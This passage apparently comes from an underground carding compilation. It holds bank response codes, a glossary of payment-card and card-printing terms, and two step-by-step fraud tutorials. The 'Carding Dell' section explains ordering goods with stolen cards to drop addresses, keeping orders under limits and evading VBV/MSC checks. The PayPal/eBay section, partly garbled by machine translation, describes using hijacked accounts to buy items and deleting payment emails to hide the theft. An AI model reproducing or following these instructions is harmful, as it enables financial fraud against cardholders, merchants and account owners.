63 EFTI Security violation
64 EFTI Original amount incorrect
65 EFTI Exceeds withdrawal frequency
66 EFTI Call acquirer security
67 EFTI Hard capture
68 EFTI Response received too late
75 EFTI PIN tries exceeded
77 EFTI Intervene, bank approval required
78 EFTI Intervene, bank approval required for partial
90 EFTI Cut-off in progress
91 EFTI Issuer or switch inoperative
92 EFTI Routing Error
93 EFTI Violation of law
94 EFTI Duplicate transaction
95 EFTI Reconcile error
96 EFTI System malfunction
98 EFTI Exceeds Cash limit

Carding Dell Tutorial

something to prepare:
1. Fresh Drop (if ur drop is blacklist in DELL u won't pass even ur CC is good)
2. Good CCV (non-VBV or non-MSC)
3. Sock / VPN / SSH / VPS (tis not important, but good sock at same state of CC is better)

Now, let start:

A - If You Want To Make Only Single Order With Single Cvv2 (Which is Valid and virgin Ofcourse !!)

1- first check the cc and make sure it`s Valid .. choose Your Item (Fast-track items)

2- Click On Add To Cart Then Check Out , You Will Be Prompted To Sign Up For A New User Or Sign

In If You Have An Existing Account (Sign Up For A New Account)

3- Enter The First And Last Name For Your Drop As The Account First And Last Name In The Sign Up Page , Provide A Valid Email address And Password .

4- You`ll Be Redirected To The Shipping Info Page , You`ll Find The First Name and Last Name Provided In The Sign Up Page Stored There , Just Add The Address and Other Info

*Note : You Don`t Have To Provide A Valid Phone Number For Shipping Address , The Billing Phone Also Works For Shipping

5- Choose The Fastest Shipping Method (Next Day Air) Also 2nd Day air will work , but Make Sure The Total Amount Doesn`t Exceed 470-480 $

6- On The Billing Page , Remove The Shipping Info Stored . Then Add The Billing Info Which Must Be Same As stored In Bank (Make Sure The CC Is 100 % Valid) The Most IMPORTANT PART HERE IS THE BILLING PHONE NUMBER

which must be the same stored with bank coz they use this number for verification (not calling the card holder , but to verify the info with bank)

7- Don`t Choose Any Limit In The Billing Page (Choose:No Limit)

Click Submit !!

B- IF You Intend To Use The Same Card More Than Once To Order More Than 1 Item ;

*First Note That This Method May Get You In Trouble If You Send These Items To Your Own Home , Also the items May get returned to shipper before You Recieve Them .

1- Follow The 1st Method For Ordering Single Item With 1 Cc , you`ll recieve 2 emails after ordering (Dell Order Acknowledgement - Dell Order Confirmation) as soon as You Recieve The Second Email Which Is : Dell Order Confirmation

check the order status in 10 - 30 minutes IF You See Something Like (In-Production Or Pre-Production) Go To The Next Step .

2- Make Another Order and which must not exceed 480 $

3- Follow All Previous Steps (Storing Your Credit Card Info Will Ease The Mission)

4- Repeat This For As Many Times as The Limit Of The CC Allow .

5- Don`t Make Any Orders If The Previous Order Status Isn`t (In-Production OR Pre-Production)

6- If They Suspect One Of The Orders They Will Cancel All Orders . Ofcourse Next Day Shipping Method Will Decrease The Chance Of Getting Items Returned To Shipper .

That`s All , And Enjoy Your Carding Of DELL

P/s:
1. iIf U don't want to get problem with VBV or MSC, use Lolifox browser,with this browser Dell won't ask u for VBV even though your CC is VBV, where to get it... Google is ur friend (try and see, its my trick in DELL)
2. if you recieve the Hold payment emails, don't abandon it, try to chat with DEll's customer service, and

tell them u want to give new CC for your order, then give them new CCV infomation (this time they don't check VBV or MSC)
3. with my experience, find Credit Signature CC, its have more % success

Carding Stuffs with PayPal

Required components:

1. Paypal [Us + verified + mail + instant]
2. EBay ACC with good feedbacks, preferably from 100, not an asset (preferably 6 months or more).
3. Good socks (and better Dedicated server)
4. enroll FIA card Services, or simply ACC FIA can be found on the link ibsnetaccess.com (or other suitable)

working with eBay accompaniment:
1. Changing soap on their pre-creation.
2. Deleting from old evidence
3. Possible also pass change

All letters will be sent to your soap

What to do with enroll:
1.Going to roll, change the address for loot.
2.Push Shop Safe
3.Generating virtual cards for 3-6 bucks.
4.Writing number of creeds and Old about it. (Address loot think is already there, then roll the name of the Holder is not involved)
5.Going on a stick, copy the name of the Holder (in handy later).
6.Finding click add or edit credit card info
7. Trying to drive there creed without changing the name of the Holder paragraphs, but trying to drive a mail drop, the one on the roll. Cards immediately will confirmed.

Total - we stick with confirm address loot.

Next:
1. Checking much stick gives send through instant transfer. Ie trying to send a 300-500 bucks invented mail. the amount depends on the material.
2. Ok Checked, for example sends a 500
3. Going on eBay. Choose any pack within this amount is absolutely from any vendor, at least at the shop goes online to eBay.
4. Pushing buy it now, go to the payment before the payment there you can enter the address where to send, and so we press on the change address
Insert the name and address of the Holder stick drop, the phone adding is not necessary.
5. Pushing to pay. Proceed to a confirmation page charges.
6. Pushing Confirm, wait, appears Checkout complete.
7. After payment go to the Soap Holder, delete the letter for payment, adding @paypal.com in black.

ready. waiting for a track on the soap breaks the track or in another way, faster.

as we have the official payment system through eBay, and not split-we can see the View order details in

front of the item purchased in box won (List purchased).
Track there will be faster.
Also possible to work through the bank. ACC. but this is a somewhat different topic.

Good Luck to all carders.

Carding Terms

AMVA--Association of American Motor Vehicle Agencies

ACCOUNT NUMBER--A unique sequence of numbers assigned to a cardholder account that identifies the issuer and type of financial transaction card.

ACQUIRER--A licensed member that maintains the merchant relationship and acquires the data relating to a transaction from the merchant or card acceptor and submits that data into interchange, either directly or indirectly.

ADDRESS VERIFICATION SERVICE--A fraud prevention tool designed for mail order, telephone order and Internet transactions.

AMC--American Magnetics Corporation

AUTHORIZE--A process defined in operations regulations whereby a transaction is approved by or on behalf of an issuer; commonly understood to be receiving a sales validation by the merchant, by telephone, or authorization terminal.

AUTOMATED TELLER MACHINE (ATM)--An unattended, magnetic stripe-reading terminal that dispenses cash; accepts deposits and loan payments; enables a bank customer to order transfers among accounts and make account inquiries.

BANKCARD--A debit or credit card issued by a bank or other financial institution, such as a MasterCard card or Visa card. BIOMETRICS--Biometrics utilize "something you are" to authenticate identification. This might include fingerprints, retina pattern, iris, hand geometry, vein patterns, voice password, or signature dynamics. Biometrics can be used with a smart card to authenticate the user. The user's biometrics information is stored on a smart card, the card is placed in a reader, and a biometrics scanner reads the information to match it against that on the card. This is a fast, accurate, and highly-secure form

of user authentication.

BIT (Binary Digit)--The smallest unit of information in a binary system: a 1 or 0 condition.

BPI--Bits Per Inch.

BYTE--A binary clement string functioning as a unit. Eight-bit bytes are most common. Also called a "character".

BUSINESS CARD--A Business card is similar to the Corporate card, but issued to a business with a few employees and where each employee is responsible for their purchases.

CARDHOLDER--The customer to whom a card has been issued or the individual authorized to use the card.

CARDING--Credit card fraud. Carding texts offer advice on how to make credit cards, how to use them, and otherwise exploit the credit card system.

CASH DISBURSEMENT--A transaction that is posted to a cardholder's credit card account in which the cardholder receives cash at an ATM, or cash or travelers checks at a branch of a member financial institution or at a qualified and approved agent of a member financial institution.

CIRRUS SYSTEM INCORPORATED--A wholly owned subsidiary of MasterCard International Incorporated, operates the international ATM sharing association known as "Cirrus® ATM Network."

CLEANING--The process of exchanging financial transaction details between an acquirer and an issuer to facilitate posting of a cardholder's account and reconciliation of a customer's settlement position.

CO-BRANDED CARD--A credit card issued by a member bank and a merchant, bearing the "brand" of both.

CARDJET CARDS--Teslin®-based, CR-80 size cards with a surface that is specially formulated for thermal inkjet printing. CardJet Inks bond to cards and dry instantly, without smearing. CardJet cards stand up well to abrasion, dye-migration and UV fading.

CHECK READER--A peripheral device used to read encoded information on a check to be transmitted and processed by a computer or register for authorization and approval.

COERCIVITY--The measure of how much magnetic force is needed to change the state of a magnetized element. The higher the coercivity, the more force is needed. There are two types of magnetic stripe cards, low coercivity and high coercivity. While low coercivity cards can be erased if they get too close to a common magnet, high coercivity cards are not as easily erased.

COLOR MATCHING--Several color matching options are included with FARGO Card Printer/Encoders. These options are built directly into the printer driver so they are easily selected. Colors print with more clarity, detail, and accuracy.

COLOR MONITOR--A monitor that displays data and graphics in color. Color monitors vary in the number of colors, dot-pitch and intensities they can produce.

COMMPORT--Communications Port. Most IBM compatible computers have from one to four commports used to communicate with devices attached to the computer (COM1, COM2, COM3, COM4). You need a commport to communicate with the 712 Encoder.

COMMUNICATION PROTOCOL--The rules governing the exchange of information between devices on a data link.

CONTACT SMART CARD ENCODER--The contact smart card encoder connects the ISO contact pins mounted on the e-card docking station to a Gemplus GemCore 410 smart card coupler mounted inside the printer. The GemCore 410's digital I/O is converted to a RS-232 signal which is accessible to application programs through a dedicated DB-9 port on the outside of the printer labeled "Smart Card."

CONTACTLESS SMART CARD ENCODER--The contactless smart card encoder connects an antenna mounted on the e-card docking station to a Gemplus GemEasyLink 680SL coupler mounted inside the printer/encoder. Application programs can access Mifare® contactless cards via a RS-232 signal through a dedicated DB-9 port on the outside of the printer labeled "Mifare/Contactless."

CONTROL NUMBERS--Measure card usage and be used as a tracking device if the card is lost. ID Services will print these on cards after the numbers have been supplied.

CREDIT CARD AUTHORIZATION--The process in which a credit card is accepted, read and approved for a sales transaction. Credit card authorization is normally accomplished by reading a credit cared through a credit card reader that is integrated into a register or stand-alone reading device. Generally, pertinent credit information is transmitted via a modem and telephone line to a credit card "clearinghouse". The clearing house (authorization source) communicates with the credit card's bank for approval and the appropriate debit amount of the sale.

CREDIT CARD READER (Magnetic Stripe Reader)--A device that reads the magnetic stripe on a credit card for account information to automatically be processed for a transaction. A credit card reader is either integrated into a register, attached onto a register as a separate component or is part of a stand-alone terminal dedicated for the sole function of processing credit card transactions.

CURSOR--A blinking symbol on the screen that shows where data may be entered next.

CUSTOMER POLE DISPLAY--A peripheral device designed to show customers information about their transaction. This information normally consists of a description and price of the product they are purchasing. Customer pole displays are also used to display marketing information and other messages.

COMMERCIAL CARDS--This is the formal name for a group of cards issued to businesses, commercial organizations and governments. Types of commercial cards include: Corporate Card, Purchase Card, and Business Card. Corporate card A Corporate card is usually issued to the employees of a corporation, where the corporation assumes all liability for the card's usage. These tend to be to larger corporations.

CURRENCY CONVERSION--The process by which the transaction currency is converted into the currency of settlement or the currency of the issuer for the purpose of facilitating transaction authorization, clearing and settlement reporting. The acquirer determines the currency of the transaction; the currency of the issuer is the preferred currency used by the issuer, and most often, the currency in which the cardholder will be billed.

DEBIT CARD--A plastic card used to initiate a debit transaction. In general, these transactions are used primarily to purchase goods and services and to obtain cash, for which the cardholder's asset account is debited by the issuer

DECODE--A term used to describe the process of interpreting scanned or "read" information and presenting it in a usable fashion to the computer.

DENSITY--Defined in bits per inch (BPI), recording density is the number of information bits which are recorded on one inch of a magnetic strip.

DIRECT THERMAL--Direct thermal is a printing technology method in which the printer utilizes a paper that reacts chemically to heat. The label rolls are coated with a thermo-sensitive layer that darkens when exposed to intense heat. Direct thermal printers require no ink or ribbon and are typically used when a bar code label needs to endure for a year or less.

DIRECT-TO-CARD (DTC) PRINTING--The Direct-to-Card printing process prints digital images directly onto any plastic card with a smooth, clean, glossy PVC surface.

DISKETTE / FLOPPY DISK--A flexible disk which holds information that can be read by the computer.

DOS (Disk Operation System)--The standard operation system for all computers advertised as "IBM Compatible".

DOT-MATRIX PRINTER--A printer that forms characters or images using a matrix of pins that strike an inked ribbon.

DOWNLOADING--The process of sending configuration parameters, operating software or related data from a central source to remote stations.

DPI (dots per inch)--Measurement of a printer's resolution. Example: 600 dpi indicates that the printer can produce 600 dots of color in each inch of a card. NOTE: When judging color reproduction for a CardJet Card Printer, the inkjet resolution must be at 2400 dpi or better to achieve the color equivalent of a 300 dpi dye-sub printer.

DUAL HOPPERS--Select FARGO Card Printer/Encoders provide a dual-stack, 200 card capacity Card inp<-b>ut Hopper. This unique dual hopper allows you to load up to 200 of the same type of card for maximum card production or allows you to load a different stack of cards into each hopper for added versatility and efficiency. Loading two different stacks of cards is often beneficial if, for example, you are using two types of preprinted card backgrounds (i.e. gold cards versus silver cards) in order to more easily distinguish between two types of members, employees, students, etc.

DUAL TRACK--A type of credit cared reader that is capable of reading both Track 1 and 2 on a credit card.

DYE-SUBLIMATION--Dye-sublimation is the print process FARGO Card Printer/Encoders use to print smooth, continuous-tone, photo-quality images. This process uses a dye-based ribbon roll that is divided into a series of color panels. The color panels are grouped in a repeating series of three separate colors

along the length of the ribbon: Yellow, Magenta, and Cyan (YMC). As the ribbon and card pass simultaneously beneath the Printhead, hundreds of thermal elements heat the dyes on the ribbon. Once the dyes are heated, they vaporize and diffuse into the surface of the card. Varying the heat intensity of each thermal element within the Printhead makes it possible for each transferred dot of color to vary saturation. This blends one color into the next. The result is continuous-tone, photo-realistic color images.

E-CARD DOCKING STATION--FARGO provides an optional e-card docking station on select models that can be ordered with encoders for one, two or three different types of e-cards. These printer/encoders allow application software to read and/or store information in the memory of e-cards. The optional encoders provide everything needed for an application program to communicate with a specific type e-card through a standard RS-232 interface. The FARGO e-card docking station comes standard with the read/write pins (as defined by ISO) needed to communicate with contact smart cards. The e-card docking station can also be ordered with a magnetic stripe encoder for either an ISO magnetic stripe that supports dual high/low coercivity tracks 1, 2 and 3 or a JIS II magnetic stripe.

E-CARD ENCODER--Select FARGO Card Printer/Encoders support reading and/or storing information in up to three different types of e-cards: ISO 7816 contact smart cards, Mifare® contactless smart cards and HID proximity cards.

EDGE-TO-EDGE--Refers to the maximum printable area on a card. Printer/Encoders with edge-to-edge printing capability can print just to the edge of a card resulting in printed cards with virtually no border.

EMBOSSING--Raised characters are produced through the use of a male and female die brought together by pressure applied above and below a marking surface. Embossing is ideal for variable information data cards, strip tags, and identification molding processes.

EBT (ELECTRONICS BENEFITS TRANSACTION)--Allows governments to implement social aid programs such as food stamps through the use of a magnetic-stripe card, which can be accepted at merchant locations set up to accept this plan.

ELECTRONIC DRAFT CAPTURE (EDC)--A system in which the transaction data is captured at the merchant location for processing and storage.

ELECTRONIC FUNDS TRANSFER (EFT)--A paperless transfer of funds initiated from a terminal, computer, telephone instrument, or magnetic tape.

EMBOSS-The process of printing identifying data on a bankcard in the form of raised characters.

ENTERPRISE--An "enterprise" e-commerce solution indicates technology for a large business enterprise. This usually involves a number of systems that are required to interface with each other as well as a central database management system. The design and management of an enterprise solution can be very complex.

EMULATION--The imitation of a computer system, performed by a combination of hardware and software, that allows programs to run between incompatible systems.

ENCODER--A device used to write data onto magnetic stripe cards.

EPROM--Read-only, non-volatile, semi-conductor memory that is erasable via ultra violet light and reprogrammable.

EXPANSION BOARD / EXPANSION SLOT--The optional device board that is usually added inside the system cabinet at an available expansion slot.

FACTORING--Also known as laundering. When a merchant submits transactions for another merchant that were not conducted at the original merchant's business establishment, this is known as factoring.

FIRMWARE--A computer program or software stored permanently in PROM or ROM.

FIELDS--A specific position on each track where data may be written or read.

FIXED DATA--Data which doesn't change. In Card Template, data remains constant from encoding session to encoding session. This means that, until it is modified, each card will encoded with this information. In Set-Up/Encode Fields, data is fixed.

FOIL--Decorative foils are applied to cards with heat. If you have a specific foil in mind, we can apply it for you, ID Services has a wide variety to choose from.

HAND-HELD DATA COLLECTOR--See Portable Data Collector

HARD DISK DRIVE--Enclosed disk drive that contains one or more metallic disks for data storage. A hard disk has many times the capacity of a diskette.

HIGH COERCIVITY--See coercivity.

HIGH-VOLUME PRINTING--Fast, efficient printing for producing large quantities of cards with minimal down time for supplies loading or maintenance.

HIGH DEFINITION PRINTING™ (HDP™)--The High-Definition Printing process prints full-color images onto clear HDP transfer film. The HDP film is then fused to the card through heat and pressure via a heated roller. This revolutionary technology enhances card durability and consistently produces the best card color available - even on tough-to-print matte-finished cards, proximity cards, and smart cards.

HIGH SPEED PRINTING--FARGO Card Printer/Encoders are among the fastest desktop card printer/encoders in the industry. High-speed printing allows for more efficient card production - saving time, money, and resources.

HOLOGRAM--This security feature prevents the reproduction of ATM/Bank cards and credit cards. ID Services has a variety of holograms to choose from or will apply your own custom hologram.

HOST COMPUTER--A central computer, such as a mainframe computer at a company's headquarters or central office. The central computer in a star network.

ISO--International Standards Organization specification for magnetic stripe encoding. The FARGO encoder supports dual high/low coercivity and tracks 1, 2 and 3.

ID CARDS--An important record-keeping tool for hospitals, nursing homes, healthcare providers, insurance companies and colleges/universities are ID cards. ID Services offers them in four sizes, CR50, 60, 70 and 80, to fit any standard imprinting or embossing system. ID Services offers a variety of card compositions to meet the needs of the specific application. Composite cards are recommended for College/University ID's due to their flexibility and long life span.

IN-COUNTER SCANNER--A bar code scanner that normally has multiple laser beams emitting from it to read bar codes in high-speed environments (i.e. grocery stores). An in-counter scanner is usually mounted into a countertop so that products can quickly and easily be passed over the scanner for bar code reading.

IMPRINTER--A device supplied to the merchant to produce an image of the embossed characters of the bankcard on all copies of sales drafts and credit slips.

ISSUER--A member that enters into a contractual agreement with MasterCard or Visa to issue MasterCard or Visa cards.

JIS II--Japanese Industrial Standard for magnetic stripe encoding, published and translated into English by Japan Standards Association.

KEYLOCK CARDS--Hotels and resorts all over the world are changing the traditional door locks to electronic swipe key cards. Keylock cards are becoming a necessity to keep hotel guests safe. For excellent performance, the cards must match the system and the applications. ID Services offers roll-on magnetic stripes as well as laminated magnetic stripes in both high energy and low energy coercivity with the hotel and/or its logo perfectly printed.

KEY GENERATOR--Any tool designed to break software copy protection by extracting internally-stored keys, which can then be entered into the program to convince it that the user is an authorized purchaser.

KEY LOGGER--(Keystroke Logger). A program that runs in the background, recording all the keystrokes. Once keystrokes are logged, they are hidden in the machine for later retrieval, or shipped raw to the attacker. The attacker then peruses them carefully in the hopes of either finding passwords, or possibly other useful information that could be used to compromise the system or be used in a social engineering attack. For example, a key logger will reveal the contents of all e-mail composed by the user. Keylog programs are commonly included in rootkits and RATs (remote administration trojans).

LCD DISPLAY--The LCD - or Liquid Crystal Display - shows the current status of the printer, and changes according to the printer's current mode of operation. LCD communicates an error with text, which is easier to interpret than LED lights.

LOW COERCIVITY--See coercivity.

LASER SCANNER--A bar code scanner that utilizes laser technology. These scanners emit laser beams that read bar codes. Laser scanners have "depth of field" which enables them to read bar codes from short

distances away (6" to a few feet).

LED (Light Emitting Diode)--A semiconductor light source that emits visible light or invisible infrared radiation.

LOCKABLE HOPPER--Some FARGO Card Printer/Encoders provide a lockable Card Hopper Door. This lock is intended to help prevent theft of your blank card stock. This feature is especially helpful if using valuable card stock such as preprinted cards, smart cards, or cards with built-in security features such as holograms.

MAGSTRIPE STRIPE--The magnetically encoded stripe on the bankcard plastic that contains information pertinent to the cardholder account. The physical and magnetic characteristics of the magnetic stripe are specified in ISO Standards 7810, 7811, and 7813.

MAGNETIC STRIPE READER--A device that reads information recorded on the magnetic stripe of a card.

MEMBER--An institution that participates in the programs offered by MasterCard International Incorporated.

MERCHANT--A retailer, or any other person, firm, or corporation that (pursuant to a merchant agreement) agrees to accept credit cards, debit cards, or both, when properly presented.

MAS (Merchant Accounting System)--The Vital back-end system that handles settlement, interchange and billing.

MERCHANT BANK--A bank that has entered into an agreement with a merchant to accept deposits generated by bankcard transactions; also called the acquirer or acquiring bank.

MCC (MERCHANT CATEGORY CODE)--Four-digit classification codes used in the warning bulletin, authorization, clearing, and settlement systems to identify the type of merchant business in various stages of transaction processing.

MMS (MERCHANT MANAGEMENT SYSTEM)--The Vital front-end system that handles point of sale functions such as terminal types, cut-off times, etc.

MOTO (MAIL ORDER/TELEPHONE ORDER)--A transaction initiated by mail or telephone to be debited or credited to a bankcard account.

MAGNETIC STRIPE--The black stripe found on the back of most credit cards and many other types of identification cards and drivers licenses. Used to encode and read data, usually identifying the owner of the card.

MAGNETIC (“MAG”) STRIPE--Mag Stripe refers to the black or brown magnetic stripe on a card. The stripe is made of magnetic particles of resin. The resin particle material determines the coercivity of the stripe; the higher the coercivity, the harder it is to encode -- and erase -- information from the stripe. Magnetic stripes are often used in applications for access control, time and attendance, lunch programs, library cards, and more.

MAGNETIC STRIPES--Offered in five different sizes and are available in both low coercivity (300 oersteds) and high coercivity (2750 (USA), or 4000 (European) oersteds.)

· 1/8" Covers one track (HEM only)

· 5/16" Covers two tracks

· 6/16" Covers three tracks (3/8")

· 7/16" Covers three tracks

· 8/16" Covers three and one half tracks (1/2")

· 9/16" Covers four tracks (super stripe)

· We can apply roll-on magnetic stripes as well as flush laminated magnetic stripes.

For additional security ID Services offers holo-magnetic stripes. The stripes are custom made with your company name appearing in the stripe. Multiple magnetic stripes can be applied to each card.

MAGNETIC STRIPE READER--See Credit Card Reader

MASTER REGISTER--A cash register that acts as the central register or "file server" in a multiple register environment. The master register normally controls "slave" registers that are networked and cable to it.

MEGABYTE--A unit of measure that consists of 1,014 bytes.

MICROCOMPUTER (Personal Computer)--A small. low cost computer originally designed for individual users. Recently, microcomputers have become powerful tools for many businesses that, when networked together, have replace minicomputers and in some cases mainframes and information tools.

MICRO-PRINTING--Very small text printed into the plastic card and generally look like thin lines to the naked eye. The text is printed at 9600 dpi (dots per inch) and require a magnifying glass to view the micro-printed text. Desktop card printers print at 300 dpi and can not reproduce micro-printing making micro-printing a very handy feature when checking for counterfeit cards.

MICROPROCESSOR--Integrated circuit chip that monitors, controls and executes the machine language instructions.

MICR READER--MICR is an acronym for Magnetic Ink Character Recognition. MICR Readers are normally used to read the encoded information within the ink on a check.

MODEM (Modulator - Demodulator)--A device used to convert serial digital data for transmission over a telephone channel, or to reconvert the transmitted signal to serial digital data for acceptance by a receiving terminal.

MONOCHROME MONITOR--A monitor that displays characters in only one color, such as amber or green.

MULTI-USER--Multi-user systems consist of two or more computers that are connected together and that share data and peripherals. A multi-user system includes a host computer (file server) and one or more stations. All stations share the same hard disk and may share other devices such as printers.

MTBF (Mean Time Between Failures)--The average time between failures of a particular device based on statistical or anticipated experience.

NETWORK--A communications system connecting two or more computers and their peripheral devices.

NETWORK CARD--An expansion card that is installed in an available slot in a computer so that it may connect and communicate to another computer.

OPERATING SYSTEM--System that consists of several programs that help the computer manage its own resources, such as manipulating files, running programs and controlling the keyboard and screen.

OUTPUT STACKER--The Output Stacker stores printed cards in a first-in/first-out order. This feature makes it easy to keep printed cards in a specific order for faster issuance or to print serialized cards.

OVERSIZED CARDS--Oversized cards are used for more efficient visual identification and are available in many non-standard sizes. The most popular sizes are CR-90 (3.63" x 2.37"/92mm x 60mm) and CR-100 (3.88" x 2.63"/98.5mm x 67mm).

OVERLAMINATE--Protective clear or holographic material designed to offer advanced card security

and durability. Two types are available from FARGO: Thermal Transfer Overlaminate is a .25 mil thick material that enhances card security and durability. PolyGuard Overlaminate is available in a 1 mil and .6 mil thick material and provides extraordinary protection for applications that require highly durable cards.

OVERLAY PANEL--The clear overlay panel (O) is provided on dye-sublimation print ribbons. This panel is automatically applied to printed cards and helps prevent images from premature wear or UV fading. All dye-sublimation printed images must have either this overlay panel or an overlaminate applied to protect them.

OVER-THE-EDGE--Refers to the maximum printable area on a card. Printer/Encoders with over-the-edge printing capability can print past the edge of a card resulting in printed cards with absolutely no border.

PARALLEL TRANSMISSION--Transmission mode that sends a number of bits simultaneously over separate lines. Usually unidirectional.

PERIPHERAL DEVICE--Hardware that is outside of the system unit, such as a disk drive, printer, cash drawer or scanner.

POLLING--A means of controlling devices on multi-point line. Usually utilized to send/receive information via modem from remote computers to a central computer.

POLYGUARD™--A card overlaminate available in 1 mil and .6 mil thicknesses that provides extraordinary card protection; ideal for harsh or more secure environments. Available as clear or with embedded holographic-type security images.

POS (Point-of-Sale)--Term normally used to describe cash register systems that record transactions or the area of "checkout" in a retail store.

PIN NUMBERS--This security feature will activate usage of the card. Once the numbers have been supplied from our customers, ID Services can apply them to the customer cards.

PINPAD--A "pin pad" is a small keyboard that normally contains numeric keys. PIN is an acronym for personal identification number which is normally entered into the keyboard "pad" to verify account information for a transaction (i.e. similar to an automated teller machine).

PORTABLE DATA COLLECTOR--A hand-held computer that can be used as a stand alone portable unit for point-of-sale, inventory, receiving and other applications. A portable data collector is normally a temporary storage device that gathers information and downloads data into a main or central computer.

PROGRAMMABLE KEYBOARD--A keyboard that is capable of being configured and programmed in a variety of ways. Programmable keyboards allow keys to represent special departments, functions, product, etc.

PROJECTION SCANNER--A type of bar code reader that is normally placed vertically, and that projects laser beams horizontally to scan bar codes. Often used when high performance and speed to reading bar codes is critical.

PROTOCOLS--A set of rules for the exchange of information, such as those used for successful data transmission.

PROXIMITY (“PROX”) CARD--Proximity cards allow access and tracking utilizing contactless technology (usually by communicating through a built-in antenna).

PROX CARD ENCODER--The prox card encoder uses a HID ProxPoint® Plus reader mounted on the e-card docking station inside the printer/encoder. The ProxPoint is a "read only" device producing a Wiegand signal that is converted to RS-232 using a Cypress Computer Systems CVT-2232. Application programs can read information from HID prox cards via a RS-232 signal through a dedicated DB-9 port on the outside of the printer labeled "Prox."

PVC (POLYVINYLCHLORIDE)--These cards are manufactured for mechanical style embossing and to be our least expensive card option. They are available in 23 different colors and three different card finishes. Heat distortion occurs at 130°F and the cards will flex approximately 2,500 flex cycles. Estimated normal card life: 18 months.

PDF (PORTABLE DOCUMENT FORMAT--Adobe's file format is the de facto standard for electronic document distribution. It is the preferred means of distributing documents online because it preserves fonts, formatting, colors and graphics regardless of the application or platform used to create it. The Adobe Acrobat Reader, required to read PDF files, is available free from the Adobe web site.

PIN PERSONAL IDENTIFICATION NUMBER)--A four-to-12 character secret code that allows an issuer to positively authenticate the cardholder for the purpose of approving an ATM or terminal transaction occurring at a point-of-interaction device.

POTS (PLAIN OLD TELEPHONE SERVICE)--The standard analog telephone service with no enhancements like call waiting, etc.

PURCHASE CARD--The Purchase card is issued to corporations, businesses and governments. It provides control over daily and monthly spending limits, total credit limits, and where the card may be used. It also reduces the administrative cost associated with authorizing, tracking, paying, and reconciling those purchases. Many employees may be issued the same card number.

RAM (Random Access Memory)--Temporary storage that holds the program and data the CPU is processing.

RESIN THERMAL TRANSFER--Resin Thermal Transfer is the process used to print sharp black text and crisp bar codes that can be read by both infra-red and visible-light bar code scanners. It is also the process used to print ultra-fast, economical one-color cards. Like dye-sublimation, this process uses a thermal Printhead to transfer color from the ribbon roll to the card. The difference, however, is that solid dots of color are transferred in the form of a resin-based ink which fuses to the surface of the card when heated. This produces very durable, single-color images.

SCALE--A scale is a peripheral device used to record the weight of an item and transmit the amount to a computer for processing.

SCRATCH-OFF PANELS--Applied through hot stamping or silk screening. Typically they are used to cover pin numbers on pre-paid phone cards.

SERIAL TRANSMISSION--Transmission mode that sends data one bit at a time. In most cases, in personal computers, serial data is passed through as RS232 serial interface port.

SIGNATURE CAPTURE--A peripheral device that electronically captures an individual’s signature for customer identification and transaction applications.

SLAVE REGISTER--A cash register that is driven by a "master" register in a multiple register environment.

SMART CARD--A smart card contains a "chip" with memory and is typically used to hold customer account information and a "balance" of money similar to a checking account. The card is inserted into a device that can read and write to it updating information appropriately.

SMART CARD--Smart cards have an embedded computer circuit that contains either a memory chip or a microprocessor chip. There are several types of smart cards: Memory, Contact, Contactless, Hybrid (Twin), Combi (Dual Interface), Proximity and Vicinity.

SMARTGUARD™--SmartGuard is a printer security option that uses a custom access card and a built-in reader to restrict printer access. With this feature, only those with a valid access card can print cards. This makes both your printed cards and your overall system more secure.

SMARTLOAD™--SmartLoad is an exclusive FARGO technology used in CardJet Card and Ink Cartridges to advise you on the status of your CardJet supplies. In CardJet Ink Cartridges, SmartLoad technology reports the number of prints remaining in the cartridge and alerts you when ink is low or out. In CardJet Card Cartridges, SmartLoad technology tells you to install a new cartridge when the card supply runs out.

SMARTLOAD CARD CARTIDGE--Cartridge that is pre-loaded with CardJet Cards at the factory. They snap into the back of the printer in just seconds. SmartLoad technology inside the cartridges alerts you to install a new cartridge when the card supply runs out.

SMARTLOAD INK CARTIDGE--CardJet Ink Cartridges are available with both full-color and black (used for infrared bar codes only) inkjet inks. Cartridges snap into the printer just like the cartridges used in other familiar office or home inkjet printers. SmartLoad technology inside the cartridges reports the number of prints remaining in the cartridge and alerts you when ink is low or out.

SMARTSHIELD™--This option allows the printer/encoder to print custom, reflective security images on the card that fluoresce under a black or UV light source.

SOLENOID--Solenoids are commonly used in "dumb" cash drawers and incorporate a cable connected trigger which releases the drawer. Cash drawers with solenoids are interfaced to receipt printers that "drive" them. Solenoids have different voltages and are integrated into the cash drawer dependent on the printer they are interfaced to.

STANDARD CARDS--The standard card size is CR-80. CR-80 dimensions are 3.375" x 2.125" (85.6mm x 54mm).

THERMAL TRANSFER--Thermal transfer is a printing technology method in which printers use regular paper and a heat sensitive ribbon. The ribbon deposits a coating of dark material on the paper when exposed to intense heat. Thermal transfer printers produce a more durable label that won’t fade as quickly as direct thermal labels and are often used when a label needs to endure longer than a year.

THERMAL TRANSFER OVERLAMINATE--A card overlaminate available in a .25 mil thickness that increases card security and durability; often used for moderate durability applications or when additional security (such as holographic images) are needed.

TILL--The paper money and currency tray that holds money in a cash drawer. Tills are usually available in 4 or 5 till versions, available with lock and cover and are removable.

TRACK--One of up to three portions of a magnetic stripe where data can be written.

TRACK 1--Track one is a "track" of information on a credit card that has a 79 character alphanumeric field for information. Normally a credit card number, expiration date and customer name are contained on track 1.

TRACK 2--Track two is a "track" of information on a credit card that has a 40 character field for information. Normally a credit cad number and expiration date are contained on track 2.

TRACK3--Track three is a "track" of information on a credit card that has 107 character field for alphanumeric information. Normally a credit card number, expiration date and room for additional information are available on track 3.

UNIX--UNIX is a terminal based operation system in which "dumb" terminals are communicating back to a "smart" processing unit or host.

UPS--An acronym for uninterruptible power source. A UPS is primarily used as a back up power source for computers and computer networks to insure on-going operation in the event of a power failure. Sophisticated units also have power conditioning and power monitoring features.

UV INKS--most commonly used to put hidden graphics and text on a plastic card. The inks are invisible until the card is subjected to a certain colored light (for instance, when placing a California drivers license under a black light the image of the California flag will become visible in green and orange.) UV inks are used as an aid in detecting counterfeit cards. They come in a variety of colors and can react to different colored lights. Desktop card printers are unable to print UV ink.

VARIABLE DATA--is information which changes with each encoding session or on a card-by-card basis.

VERTICAL SCANNER--See Projection Scanner.

WAND--A pen-shaped bar code scanner that emits a beam from the end or tip of the wand. Wands are older, bar code reading technology but inexpensive and still widely used where speed and performance are not crucial.

WEDGE--A wedge decodes "read" data (i.e. bar codes, credit cards) and communicates that information through a keyboard port on a computer. The keyboard plugs into the wedge and the wedge device plugs into the computer where the keyboard was. Sophisticated wedges can accept a few different peripheral devices. Also See Decode

Carding

